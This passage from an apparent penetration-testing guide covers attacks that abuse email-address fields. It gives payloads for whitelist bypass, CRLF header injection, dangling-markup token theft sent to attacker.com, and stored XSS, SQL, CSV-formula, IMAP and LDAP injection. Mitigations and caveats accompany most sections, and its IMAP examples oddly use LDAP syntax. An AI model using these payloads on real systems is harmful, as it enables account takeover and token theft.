1. Intercept the request in Burp Suite: Even if client-side JavaScript normalizes the email, the request can be intercepted in Burp and the original payload sent directly to the API.

2. JSON vs Form-Data differences: Some applications perform normalization in Form-Data but accept the raw payload in JSON.

3. Direct API Access: If the API is directly accessible (without requiring a web form), the payload can be sent directly to the endpoint.

Practical example:

// Client-side code (JavaScript)
function validateEmail(email) {
    return email.toLowerCase().trim().replace(/[^a-z0-9@.+_-]/gi, '');
}

// But in Burp, the raw payload can be sent:
// POST /api/register
// {"email": "user+test@example.com "}  // with space and special characters

Important note for penetration testing:

• Never trust client-side validation (JS Validation)
• Always intercept the request and send EAMG Payloads directly to the API
• Check the difference between JSON and Form-Data

WAF and Rate Limiting restrictions:

• Many WAFs (such as Cloudflare and AWS WAF) block CRLF (%0d%0a) patterns in URLs
• API Rate Limiting may limit the number of test requests
• CSP (Content Security Policy) can block JavaScript injection, but does not block CSS injection (such as Punycode → XSS)
• To bypass a WAF, use Double/Triple Encoding techniques or Unicode characters

🔒 Mitigation: Perform validation server-side and never trust client-side validation. Use WAF rules to block CRLF patterns and apply Rate Limiting to API endpoints.

2.4. Shared Scenarios in Section 2: Domain Whitelist Bypass

Note: This scenario can be implemented with three different techniques: Email Truncation, Null Byte Injection, and Encoding Tricks (URL/HTML/Double Encoding).

2.4.1. Truncation + Whitelist Bypass

Scenario: Using Email Truncation to bypass a Domain Whitelist.

Example:

• Input: attacker+AAAA....(padding)....@example.com@allowed-domain.com
• In the DB (after truncation): attacker+AAA...@example.com
• Mail Server: sends the email to attacker@example.com
• System: relying on the presence of @allowed-domain.com in the original input, grants organizational access

Flow Diagram - Truncation + Whitelist Bypass:

┌─────────────────────────────────────────────────────────────────┐
│         Truncation + Whitelist Bypass Attack Flow                │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  Attacker           │
│  Input:             │
│  attacker+AAA...    │
│  @example.com       │
│  @allowed.com       │
│  (length > 128)     │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] Backend Validation                                   │
│ • Checks: Contains @allowed.com? YES                            │
│ • Domain Whitelist: PASSED                                     │
│ • Result: Email accepted                                       │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] Database Storage                                     │
│ • Field: VARCHAR(128)                                          │
│ • Input length: 150 characters                                  │
│ • Truncates to: attacker+AAA...@example.com (128 chars)        │
│ • Stored: attacker+AAA...@example.com                         │
│ • Lost: @allowed.com (truncated)                               │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Mail Server (MTA)                                    │
│ • Reads from DB: attacker+AAA...@example.com                 │
│ • Normalizes: attacker@example.com                            │
│ • Delivers to: attacker@example.com (NOT allowed.com)          │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] System Logic                                         │
│ • Checks stored email: attacker+AAA...@example.com            │
│ • Original validation: @allowed.com was present                │
│ • Grants: Organizational access                                │
│ • Result: Attacker gets access with non-whitelisted domain     │
└─────────────────────────────────────────────────────────────────┘

╔═════════════════════════════════════════════════════════════════╗
║ KEY POINT:                                                      ║
║ Validation sees: @allowed.com (PASS)                           ║
║ DB stores: attacker@example.com (truncated)                   ║
║ Mail Server sends to: attacker@example.com                    ║
║ Result: Whitelist bypassed                                    ║
╚═════════════════════════════════════════════════════════════════╝

Case Study: Phabricator — HackerOne #2224, #2233 (around 2014); the truncation + auth.email-domains pattern is also documented in Phabricator’s remediation explanation.

2.4.2. Null Byte + Whitelist Bypass

Scenario: Using a Null Byte to bypass a Domain Whitelist.

Example:

• Input: attacker@evil.com%00@allowed.com
• Validation: the presence of @allowed.com causes acceptance
• Lower layer (C/C++): the string is read up to %00 → attacker@evil.com

2.4.3. Encoding + Whitelist Bypass

Scenario: Using Encoding Tricks to bypass a Domain Whitelist.

Example:

• Input: attacker@evil.com%40allowed.com (URL encoded)
• Validation: may not decode %40 and may not see @allowed.com
• Another layer: %40 is decoded → attacker@evil.com@allowed.com

2.5. Combined Scenarios in Section 2

2.5.1. Race Condition in Email Changes

Scenario: Simultaneously sending two parallel requests to change the email to different destinations.

Combination of techniques:

• Section 1: Plus/Dot Addressing to create a variation
• Section 2: Encoding to bypass validation
• Race Condition technique (itself)

Testing method: Use tools such as Turbo Intruder in Burp Suite. The attacker sends two parallel requests:

1. One to change the email to attacker@evil.com
2. The other to victim@target.com

If the system is not Thread-safe, the victim’s email-verification token may be sent to the attacker’s email, or vice versa.

Practical example:

Request 1: POST /change-email
  email=attacker+test@evil.com

Request 2: POST /change-email  
  email=victim@target.com

If the system has a Race Condition, the verification token for victim@target.com may be sent to attacker+test@evil.com.

---

3. Injection at Different Layers (Injection Attacks)

📍 Affected stages: These techniques affect Stage 2 (Backend/API), Stage 4 (Outgoing MTA), Stage 5 (Incoming MTA), and Stage 7 (Mail Client). The goal is to inject code or headers at different layers.

The third group of attacks occurs when email input is used without appropriate sanitization at different system layers (email headers, HTML, databases, CSV), enabling code injection or manipulation of system behavior.

3.1. CRLF Injection in the Email Field – Header Injection (Email Header Injection)

📍 Affected stages: Stage 2 (Backend/API), Stage 4 (Outgoing MTA), Stage 8 (Token Consumption) — CRLF results in email-header injection and token exfiltration.

Severity: High–Critical only with proven header injection / token diversion. Accepted CRLF without Impact → Informational.

When to test: App builds SMTP headers or DATA from the email field.

When to skip: Email never reaches raw header construction (safe mail API / library escaping verified).

Technical difference from SMTP Smuggling: This section concerns Email Header Injection (or Email Injection), which focuses on injecting email headers using CRLF. This technique differs from SMTP Smuggling (explained in section 5.1.3). SMTP Smuggling is a relatively new attack (2023/2024) that focuses on interpretation differences in the End-of-Data Sequence (for example, <LF>.<LF> versus <CR><LF>.<CR><LF>), whereas Email Header Injection focuses on manipulating headers with CRLF.

CRLF Injection mechanism:

CRLF (Carriage Return + Line Feed) consists of two bytes:

• 0x0D (Carriage Return — \r)
• 0x0A (Line Feed — \n)

These characters can be used in an email field in two ways:

1. URL-encoded: %0d%0a (in an HTML form or URL parameters)
2. Raw bytes: the actual 0x0D 0x0A bytes (in a POST body or JSON)

Important note: Many systems check only the URL-encoded form but accept raw bytes. Always test both forms.

Using CRLF in the email field, when the email value is used without appropriate sanitization:

• inside email headers, or
• at the level of other protocols,

allows an attacker to inject new headers such as:

• Bcc: attacker@evil.com
• Cc: ...
• Reply-To: attacker@evil.com
• or even Subject: and Content-Type:

Flow Diagram - CRLF Injection (Email Header Injection):

┌─────────────────────────────────────────────────────────────────┐
│              CRLF Injection Attack Flow                         │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  Attacker           │
│  Input:             │
│  victim@target.com  │
│  %0d%0aBcc:         │
│  attacker@evil.com  │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] Backend Processing                                   │
│ • Receives: victim@target.com%0d%0aBcc:attacker@evil.com      │
│ • Decodes: victim@target.com\r\nBcc:attacker@evil.com         │
│ • Sanitization: MISSING or INSUFFICIENT                        │
│ • Result: CRLF characters preserved                            │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] Email Construction                                   │
│ • Original headers:                                             │
│   To: victim@target.com\r\n                                    │
│   Subject: Password Reset                                       │
│ • Injected: \r\nBcc:attacker@evil.com                          │
│ • Result: New header line created                              │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Mail Server (MTA)                                    │
│ • Parses headers:                                               │
│   To: victim@target.com                                         │
│   Bcc: attacker@evil.com  ← INJECTED                            │
│   Subject: Password Reset                                       │
│ • Result: Email sent to BOTH addresses                          │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] Email Delivery                                       │
│ • Victim receives: Password reset email                        │
│ • Attacker receives: COPY of password reset email               │
│ • Token visible to: BOTH recipients                             │
│ • Result: Token exfiltration successful                        │
└─────────────────────────────────────────────────────────────────┘

╔═════════════════════════════════════════════════════════════════╗
║ KEY POINT:                                                      ║
║ CRLF (\r\n) creates new header line                             ║
║ Bcc header injected → Attacker receives copy                   ║
║ Result: Token exfiltration → Account takeover                   ║
╚═════════════════════════════════════════════════════════════════╝

Common examples of this pattern:

• In a Password Reset flow, an email containing a reset link is sent to the victim; by injecting Bcc: attacker@evil.com into the email field, the attacker causes every reset email to contain a hidden copy for themselves. This method can lead to Data Exfiltration and, in some cases, Reset Hijack.
• In messaging/ticketing services, injecting additional Cc: and To: headers can cause a copy of internal correspondence (support replies, support conversations, reports) to be sent to an attacker-controlled address without end users easily noticing the additional recipient.
• By injecting Reply-To: attacker@evil.com, the attacker can change the automatic-reply address. In systems that use the sender address to send automatic replies (Auto-reply), this technique can result in sensitive replies (such as Out-of-Office messages, support responses, or internal correspondence) reaching the attacker’s address. This method is especially effective in organizational environments that use automated email.
• By injecting a new Subject:, an attacker can modify the subject completely or partially. System behavior differs in this regard: in some mail clients and email-delivery systems, the injected Subject replaces the original Subject, while in others it is appended to it (for example, Subject: Original SubjectFake Subject). This technique can be used for phishing and deceiving users, particularly when the original Subject contains important information (such as “Password Reset Request” or “Security Alert”).
• By injecting a blank line (%0d%0a%0d%0a) followed by arbitrary text, the message body can be rewritten from that point onward. This technique works when the system separates headers from the body and treats two blank lines (\r\n\r\n) as the delimiter. Using this method, an attacker can hide the original email content and replace it with a fraudulent message, which can be used for phishing or manipulating the content of system emails (such as Password Reset emails).

Important note for security researchers (Bug Hunters): Acceptance of %0d%0a in an email address should not be quickly dismissed, even if it initially appears to result only in “unverifiable account creation”; potential header-injection paths and interactions with email bots must be examined.

3.1.1. PHP mail() Function Exploitation

📍 Affected stages: Stage 2 (Backend/API), Stage 4 (Outgoing MTA) — exploitation of the $additional_parameters parameter in PHP’s mail() function to inject sendmail commands.

The mail() function in PHP is a common email-sending function used in many legacy systems and even some modern systems. This function has an optional $additional_parameters parameter that can be used as an attack vector.

Function definition:

mail(string $to, string $subject, string $message, string $additional_headers = "", string $additional_parameters = ""): bool

Attack mechanism:

The fifth parameter ($additional_parameters) is appended directly to the command line PHP uses to invoke the sendmail binary. PHP sanitizes this parameter with escapeshellcmd(), but this sanitization is incomplete and can be bypassed under certain conditions.

Differences in sendmail implementations:

The sendmail interface is provided by different MTAs (Sendmail, Postfix, Exim). Although basic functions (such as -t, -i, -f) are identical for compatibility, other parameters and capabilities differ depending on the installed MTA:

• Sendmail MTA: has its own specific parameters
• Postfix MTA: uses the sendmail interface, but parameters differ
• Exim MTA: has a different implementation

Conditions for occurrence:

This attack succeeds when:

1. The system uses PHP’s mail() function
2. The $additional_parameters parameter originates from user input (directly or indirectly)
3. The installed MTA (Sendmail/Postfix/Exim) has exploitable parameters
4. escapeshellcmd() does not work correctly or is bypassed

Sample payloads:

• Injecting sendmail parameters to change delivery behavior
• Using MTA-specific parameters to access files or execute commands

⚠️ Real-World Status: This attack generally does not work in modern systems that use modern email libraries (such as PHPMailer and SwiftMailer). This technique is more exploitable in legacy systems or older code that uses mail() directly. Conditions for occurrence: Direct or indirect control of $additional_parameters and use of a vulnerable MTA are required.

Mitigation:

• Use modern email libraries (PHPMailer, SwiftMailer) instead of the direct mail() function
• If using mail() is necessary, never place user input directly in $additional_parameters
• Use an allowlist for permitted parameters
• Update the MTA to the latest version and apply secure configuration

3.1.2. List-Unsubscribe Header Abuse – XSS and SSRF through a Standard Header

📍 Affected stages: Stage 4 (Outgoing MTA), Stage 7 (Mail Client), Stage 8 (Token Consumption) — abuse of the standard List-Unsubscribe header for XSS and SSRF in webmail applications.

List-Unsubscribe is a standard SMTP header (RFC 2369) that allows email clients to display an “Unsubscribe” button or link to users. This header can include mailto: or http(s):// URIs and, in some webmail implementations, is processed without proper validation.

RFC 2369 definition:

RFC 2369 permits the List-Unsubscribe header to contain multiple URIs:

List-Unsubscribe: <mailto:list@host.com?subject=unsubscribe>
List-Unsubscribe: <http://www.host.com/list.cgi?cmd=unsub&lst=list>,
    <mailto:list-request@host.com?subject=unsubscribe>

Abuse mechanism:

Many webmail applications (such as Horde and Nextcloud Mail) use this header to display an Unsubscribe button. If these applications process URIs in the header without proper validation, they can lead to:

1. XSS (Cross-Site Scripting): if a JavaScript URI (javascript:) is accepted
2. SSRF (Server-Side Request Forgery): if server-side requests are sent to arbitrary URIs

XSS scenario: Stored XSS in Horde Webmail

Source: Lauritz Holtmann — Turning List-Unsubscribe into an SSRF/XSS Gadget; related identifier: CVE-2025-68673.

In Horde Webmail (Imp H5 v6.2.27, according to that report), if an email includes List-Unsubscribe with a JavaScript URI, the Unsubscribe button is rendered with href="javascript:...":

<table class="horde-table mailinglistinfo">
 <tbody>
  <tr>
   <td>Unsubscribe</td>
   <td><a href="javascript://lhq.at/%0aconfirm(document.domain)" target="_blank">
       javascript://lhq.at/%0aconfirm(document.domain)</a></td>
  </tr>
 </tbody>
</table>

Sample payload:

List-Unsubscribe: <javascript://lhq.at/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Conditions for occurrence:

• The webmail application must process the List-Unsubscribe header
• The application must accept JavaScript URIs without sanitization
• The user must click the Unsubscribe button

SSRF scenario: Blind SSRF in the Nextcloud Mail App

Source: the same Holtmann research; vendor assessment in HackerOne #2902856.

In the Nextcloud Mail App, when a user clicks Unsubscribe, a server-side request may be made to the URI in the header. According to Nextcloud’s assessment, SSRF against the internal network is primarily meaningful when the allow_local_remote_servers development flag is enabled (or other supporting factors are present); under the default production configuration, it is generally not accepted as an internal issue.

Sample payload:

List-Unsubscribe: <http://internal-server.local/admin>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Important note: In Nextcloud, use of an HTTPS URI requires a valid DKIM signature. This limitation makes SSRF exploitable only under special conditions (such as development mode with allow_local_remote_servers => true).

Practical example (Python):

import smtplib
from email.message import EmailMessage

def send_email_with_list_unsubscribe(smtp_server, smtp_port, smtp_user, 
                                      smtp_password, sender, recipient, 
                                      subject, body):
    msg = EmailMessage()
    msg.set_content(body)
    msg['From'] = sender
    msg['To'] = recipient
    msg['Subject'] = subject
    
    # XSS payload
    msg['List-Unsubscribe'] = '<javascript://lhq.at/%0aconfirm(document.domain)>'
    msg['List-Unsubscribe-Post'] = 'List-Unsubscribe=One-Click'
    
    # Or SSRF payload
    # msg['List-Unsubscribe'] = '<http://internal-server.local/admin>'
    
    with smtplib.SMTP(smtp_server, smtp_port) as server:
        server.starttls()
        server.login(smtp_user, smtp_password)
        server.send_message(msg)

Impact:

• XSS: execution of arbitrary JavaScript in the user’s context (Session Hijacking, Token Theft)
• SSRF: access to internal services (Internal Services, Metadata APIs)
• Blind SSRF: server-side requests to arbitrary URIs in the Nextcloud Mail App

Case Studies:

• Horde Webmail: Stored XSS from javascript: in List-Unsubscribe — Holtmann; CVE-2025-68673
• Nextcloud Mail: server-side request during unsubscribe — Holtmann; details/limitations in HackerOne #2902856 (allow_local_remote_servers)

⚠️ Real-world status: Exploitable only in webmail applications that process List-Unsubscribe URIs without restricting their scheme/destination. For Nextcloud, do not claim internal impact without reading the vendor assessment. The lhq.at PoC domain is merely a demonstration example from the research.

When to test: Target is webmail that renders/fetches List-Unsubscribe; check version against public advisories first.

When to skip: Patched builds, or unsubscribe is mailto:-only with no server fetch / no JS URI rendering.

Mitigation:

• Allowlist URI Schemes: accept only mailto: and http(s)://; reject JavaScript URIs
• URI Validation: validate URIs and accept only permitted domains
• Server-side Protection: use an IP allowlist and prevent access to internal services to avoid SSRF
• Content Security Policy (CSP): enforce CSP to prevent XSS
• Sanitization: sanitize URIs before using them in HTML

Note for pentesters: When testing webmail applications, always test the List-Unsubscribe header. This header is often overlooked but can lead to XSS and SSRF.

3.2. HTML Injection and Dangling Markup – Stealing Content without XSS

📍 Affected stages: Stage 2 (Backend/API), Stage 7 (Mail Client), Stage 8 (Token Consumption) — HTML injected in the backend is added to the email and results in token exfiltration in the mail client.

Severity: High only if a client actually exfiltrates secrets. Client-dependent; without fetch/leak → Informational.

When to test: Email reflected into HTML mail attributes/body without encoding.

When to skip: Text escapes for HTML context; no HTML mail path.

Sometimes an attacker’s goal is not to bypass a domain filter, but to use the email field to inject incomplete HTML code into the body of system emails. This technique, known as Dangling Markup, occurs when the system:

• does not sanitize user email input, and
• inserts it into an HTML-formatted email sent to the user or to others (for example, an administrator or victim).

Dangling Markup mechanism:

Stage 1: The attacker injects an incomplete tag
  ↓
Stage 2: The system generates an email with HTML
  ↓
Stage 3: The browser/HTML client parses it
  ↓
Stage 4: The browser “repairs” the incomplete tag
  ↓
Stage 5: All subsequent text is added to the tag attribute
  ↓
Stage 6: An HTTP request is sent to the attacker’s server

Attack flow: The attacker injects a tag that is not closed (for example, an image or link). To “repair” the HTML, the browser or email client processes all following content (until it reaches a quote or the end of the file) as part of that tag’s attribute.

Flow Diagram - Dangling Markup Token Exfiltration:

┌─────────────────────────────────────────────────────────────────┐
│        Dangling Markup Token Exfiltration Attack Flow           │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  Attacker           │
│  Registers email:   │
│  attacker@evil.com  │
│  "><img src='http://│
│  attacker.com/log?  │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] Backend Email Template                               │
│ • Template:                                                     │
│   Hello [EMAIL],                                                │
│   <a href=".../verify?token=SECRET_TOKEN">Verify</a>           │
│ • Replaces [EMAIL] with: attacker@evil.com"><img src='...     │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] Email HTML Generated                                 │
│ • Generated HTML:                                               │
│   Hello attacker@evil.com"><img src='http://attacker.com/log? │
│   <a href=".../verify?token=SECRET_TOKEN">Verify</a>            │
│ • Result: Unclosed <img> tag with dangling attribute            │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Mail Client HTML Parser                              │
│ • Parses: <img src='http://attacker.com/log?                   │
│ • Looks for: Closing quote (')                                  │
│ • Continues reading: Until quote found                          │
│ • Includes: All text until quote (including token)              │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] Browser Request                                      │
│ • Browser requests:                                              │
│   http://attacker.com/log?                                     │
│   .../verify?token=SECRET_TOKEN                                │
│ • Result: Token sent to attacker's server                       │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 5] Attacker's Server                                    │
│ • Receives: Token in HTTP request                               │
│ • Logs: SECRET_TOKEN                                            │
│ • Result: Token exfiltration successful                         │
└─────────────────────────────────────────────────────────────────┘

╔═════════════════════════════════════════════════════════════════╗
║ KEY POINT:                                                      ║
║ Dangling attribute includes all text until closing quote        ║
║ Token becomes part of image URL                                ║
║ Result: Token exfiltration without full XSS                    ║
╚═════════════════════════════════════════════════════════════════╝

Password Reset Token Stealing scenario:

1. Suppose the system’s welcome email is as follows:

   Hello [EMAIL],
   To verify your account click here: <a href="https://site.com/verify?token=SECRET_TOKEN">Verify</a>
   

2. The attacker registers their email as follows:

   • attacker@evil.com"><img src='http://attacker.com/log?

3. Email generated by the server:

   Hello attacker@evil.com"><img src='http://attacker.com/log? ,
   To verify your account click here: <a href="https://site.com/verify?token=SECRET_TOKEN">Verify</a>
   

4. What occurs in the browser/client:

   • The <img> tag opens.
   • The src attribute starts with '.
   • The browser searches for the next ' to end src.
   • All subsequent text (including the Verify link and Token) is interpreted as part of the image URL.
   • The browser sends a request to attacker.com containing the victim’s Token.

This method is highly dangerous because many security systems (CSP, Sanitizers) focus on <script> and overlook incomplete image or link tags.

⚠️ Limitations of modern clients: Many modern email clients, such as Gmail and Outlook, repair or sanitize HTML before rendering it. This may prevent Dangling Markup attacks from working properly in these clients. This technique is more practical against webmail interfaces (such as an administration panel that displays email in a browser) or older/weaker clients (such as certain mobile clients or legacy email clients).

3.3. Secondary Injections through a Valid Email

📍 Affected stages: Stage 2 (Backend/API), Stage 7 (Mail Client) — a valid email is stored in the backend but used without sanitization in a later stage (admin panel, export), leading to XSS/SQLi.

Many developers assume that if an email is “Valid” (according to RFC), it is also “Safe.” However, RFC standards allow dangerous characters that can turn into code at other layers (Database, Admin Panel, Reporting Tools).

3.3.1. Stored XSS in the Admin Panel

The local part of an email can contain the characters < > " ' (if quoted or encoded).

• Payload: "<script>alert(1)</script>"@example.com
• Scenario: The attacker signs up. The email is valid and is stored. When the administrator views the user list, the JavaScript code executes. This is one of the most common Blind XSS cases.

3.3.2. SQL Injection in Quoted Strings

• Payload: "user' OR 1=1 --"@example.com
• Scenario: If the application does not use Prepared Statements and places the email directly in the query, this RFC 5322-valid string can break the database query.
• Vulnerable query example (if single quotes are used): SELECT * FROM users WHERE email = '"user' OR 1=1 --"@example.com' → the single quote in the payload breaks the string.

Important note: All payloads must be valid according to RFC 5322. Some databases (such as MySQL with prepared statements) automatically escape quote characters and prevent SQL injection. However, if the application uses string concatenation or dynamic query building, this RFC-valid payload can produce SQL injection.

Reference: For more details on Quoted Strings and special characters (Spaces, Slashes, Emojis) in the quoted local-part, see section 1.3.4.

3.3.3. CSV/Formula Injection (Excel)

• Payload: =cmd|' /C calc'!A0@example.com or -1+1@example.com
• Scenario (client-side/environment-dependent): If user data (here, an email address) is exported to CSV output without sanitization and the recipient opens the file in spreadsheet software (for example, Excel with unrestricted security settings), strings starting with =, +, -, or @ may be interpreted as formulas (the CSV/Formula injection class). This path often depends on the user’s machine (macro/DDE depending on version and configuration) and is not equivalent to “certain RCE on the administrator’s server” in all cases. Mitigation: Do not rely on a “safe context”; escape with ', or export to a format in which formulas are not interpreted. Reference: OWASP — CSV Injection.

3.3.4. IMAP Injection

⚠️ Real-World Status: This form of direct argument injection into IMAP commands belongs to the era of hand-written PHP 4 webmail applications (2000–2005). According to reports, modern webmail applications (Roundcube ≥ 1.0, Zimbra, Exchange OWA) use libraries that correctly escape commands. Conditions for occurrence: Hand-written PHP 4 webmail applications or custom panels that use string concatenation to construct IMAP commands.

When to test: Only after fingerprinting old/custom webmail that concatenates IMAP from the email string; first probe must be accepted into the command path.

When to skip: Modern Roundcube/Zimbra/OWA-class stacks; first probe shows proper escaping — do not escalate.

Where it occurs: In very old webmail applications (the PHP 4 era) or custom panels that use string concatenation to construct IMAP commands.

Mechanism: In old webmail systems, a user’s email may sometimes be used directly in IMAP commands. If input is not sanitized, the attacker can inject new IMAP commands.

Practical payloads (for legacy systems):

• "user\" user_pass) ("@example.com — uses " to close the prior command and execute a new command
• admin")(uid=*))(@example.com — injects an IMAP command to search for other users
• user")(|(uid=*))(@example.com — uses the OR operator in IMAP

Scenario (theoretical):

• The attacker registers their email using the payload above
• The webmail system attempts to search for the email in IMAP
• The injected IMAP command executes and the attacker accesses other users’ emails

Practical reality:

• In modern systems: nearly impossible (all modern IMAP libraries use parameterized commands)
• In legacy systems: may work in hand-written PHP 4 webmail applications
• Recommendation: Test this technique only in Legacy Systems or CTFs

3.3.5. LDAP Injection via Email (the Golden Point in Enterprise Environments)

Importance in Enterprise environments: In large organizations and Enterprise environments, this is one of the most dangerous areas. Most organizational systems are connected to Active Directory or LDAP and use email to look up users.

Mechanism: In organizational systems, email is often used to search for users in Active Directory/LDAP. LDAP meta-characters such as (, ), *, \ in the email field (even if the email is invalid) can cause Authentication Bypass if they are used in a user-search query.

Practical payloads for LDAP Injection:

• admin*)(uid=*))(@corp.local — search for all users named admin
• user)(cn=admin))(@example.com — inject an LDAP condition to search for the administrator
• *)(|(uid=*))(@corp.local — use the OR operator to search for all users
• admin)(&(uid=*)(userPassword=*))(@corp.local — search for users with passwords

Attack scenarios:

1. Authentication Bypass: Using the payload above, the attacker changes the LDAP query to log in as an administrator while having a regular user’s access.
2. User Enumeration: Uses * to list all users in the system.
3. Password Reset Bypass: Manipulates the LDAP query in a Password Reset flow to change other users’ passwords.

Important note for pentesters: In organizational environments (especially Active Directory), this technique can be effective if input filters are insufficient. However, as of 2025, real-world examples are limited and are mostly theoretical or related to old systems.

For the EAMG tool:

• LDAP-Safe Email Generator: Generate emails containing LDAP meta-characters while appearing as valid as possible to email regexes.
• Generate LDAP Injection payloads that resemble emails (for example: admin*)(uid=*))(@corp.local).

3.4. DNS Rebinding and SSRF through Email Verification

📍 Affected stages: Stage 2 (Backend/API), Stage 5 (Incoming MTA) — the backend uses email for Email Verification, and DNS Rebinding leads to SSRF.

⚠️ Real-World Status: This attack requires highly specific conditions. Most email-validation libraries make only DNS queries (UDP) and do not establish TCP connections that could lead to SSRF. Conditions for occurrence: A specific validation library that establishes a TCP connection (not just a DNS query), absence of appropriate timeouts, and a race condition between resolution time and connection time are required.

One often-overlooked attack vector is the abuse of server-side “email validation” mechanisms (Email Validation Logic).

⚠️ Important distinction: This attack succeeds when the application attempts to send HELO/EHLO to the destination server for more thorough validation (Active SMTP Check). In Passive validation that checks only whether an MX record exists (a DNS query over UDP), there is no SSRF risk.

Some applications do not rely solely on Regex to ensure an email is valid; they attempt to establish an SMTP connection to the destination server or check the domain’s MX records.

Required prerequisites:

• The validation library must establish a TCP connection (not just a DNS query)
• No short timeout
• No IP allowlist
• A race condition between DNS resolution and TCP connection

DNS Rebinding → SSRF attack flow:

Stage 1: The attacker registers the domain attacker-dns.com
  ↓
Stage 2: Enters the email admin@attacker-dns.com
  ↓
Stage 3: The application resolves the MX Record
         → DNS responds: valid IP (for example, 1.2.3.4)
  ↓
Stage 4: The application caches the IP (low TTL)
  ↓
Stage 5: The attacker changes DNS
         → New DNS: 127.0.0.1 or 169.254.169.254
  ↓
Stage 6: The application attempts to connect to SMTP
         → but connects to the new IP (127.0.0.1)
  ↓
Stage 7: SSRF succeeds! Access to internal services

Detailed explanation:

1. The attacker registers a domain such as attacker-dns.com.

2. They enter the email admin@attacker-dns.com.

3. The application attempts to resolve that domain’s MX Record.

4. The attacker configures their DNS to first return a valid IP (to pass the initial check), then immediately (with a very low TTL) change to 127.0.0.1 or an internal cloud-service IP (such as 169.254.169.254) (the DNS Rebinding technique).

5. If the email-validation library attempts to establish a TCP connection to service ports (such as 25, or even 80/443 if an implementation vulnerability exists) rather than merely making a DNS query, the attacker can cause Server-Side Request Forgery (SSRF). This attack generally requires DNS Rebinding and a Race Condition (between resolution and connection time) to succeed.

Note: Most email-validation libraries make only DNS queries (UDP) and do not establish TCP connections that lead to SSRF. SSRF through email is much rarer than SSRF through a URL field or Webhook.

Practical example:

# Vulnerable code (example)
import socket
import dns.resolver

def validate_email_domain(email):
    domain = email.split('@')[1]
    # Resolve MX record
    mx_records = dns.resolver.resolve(domain, 'MX')
    mx_host = str(mx_records[0].exchange)
    # Try to connect to SMTP port (SSRF vulnerability)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((mx_host, 25))  # SSRF here!
    return True

Impact:

• Access to internal services (Internal Services)
• Metadata API in cloud environments (AWS Metadata, GCP Metadata)
• Internal port scanning
• Bypass of firewall rules

Mitigation:

• Never trust MX Records or DNS for security decisions
• Use an allowlist for permitted domains
• If an SMTP connection is necessary, use a short timeout and an IP allowlist
• Use DNS Rebinding Protection

⚠️ Practical limitations: This attack requires special conditions:

• Sensitive race condition: a race condition must exist between DNS resolution and connection time
• Very low TTL: generally requires a TTL of less than 1 second
• No short timeout: if a short timeout exists, the attack may fail
• No IP allowlist: if an IP allowlist exists, the attack is blocked
• In practice, most modern servers block this attack with short timeouts (for example, < 5 seconds) or IP allowlists

3.5. Separate Scenarios in Section 3

Each technique in this section has different scenarios and goals:

3.5.1. Header Injection and Token Exfiltration (CRLF Injection)

Scenario: Header injection to steal a Token or sensitive information.

Examples:

• In a Password Reset flow, injecting Bcc: attacker@evil.com to receive a copy of all Reset emails
• In ticketing systems, injecting Cc: to receive internal correspondence
• Injecting Reply-To: attacker@evil.com to receive automatic replies (Auto-reply) and internal correspondence
• Abusing the List-Unsubscribe header for XSS and SSRF in webmail applications (section 3.1.2)

3.5.2. Token Stealing via Dangling Markup (HTML Injection)

Scenario: Stealing a Token through HTML Injection without requiring full XSS.

Example: The Password Reset Token Stealing scenario explained in section 3.2.

3.5.3. Code Injection at Other Layers (Secondary Injections)

Scenario: Injecting code at different system layers (XSS, SQLi, CSV).

Examples:

• Stored XSS in the admin panel
• SQL Injection in Quoted Strings
• CSV/Formula Injection in Excel

3.5.4. HTTP Parameter Pollution (HPP) in the Email Field

Technique: Send multiple email parameters to deceive validation.

3.5.4.1. Classic HPP (Query String/Form Data):

• Sent request: email=victim@target.com&email=attacker@evil.com
• Vulnerable logic:
  1. The WAF or Validator checks the first parameter (victim@target.com) and permits it because the domain is allowed.
  2. However, the email-sending or registration function processes the last parameter (attacker@evil.com).

3.5.4.2. Email Parameter Pollution (EPP) in JSON: Many modern APIs that accept JSON input may be vulnerable to array injection.

• Payload:

  {
    "email": ["victim@target.com", "attacker@evil.com"]
  }
  

• Scenario: If the backend passes the input to the email-sending function without checking its type (for example, in Node.js with Nodemailer or similar libraries), the email may be sent to both addresses. This technique is used for Mass Mailing or bypassing a single-recipient restriction.

---

4. Display Name and Address Format (RFC Boundary with Display Deception)

Scope: Display Name is part of the address format in RFC 5322 and is related to the From field; therefore, it sits at the boundary of EAM and social engineering. Pure phishing vectors such as Quishing or Mail Bomb are outside the scope of this guide and are not covered here.

📍 Impact stage: Mostly Stage 7 (Mail Client) — how the message is displayed to the user.

4.1. Display Name Spoofing

Classic pattern:

• From: "IT Support" <attacker@evil.com>

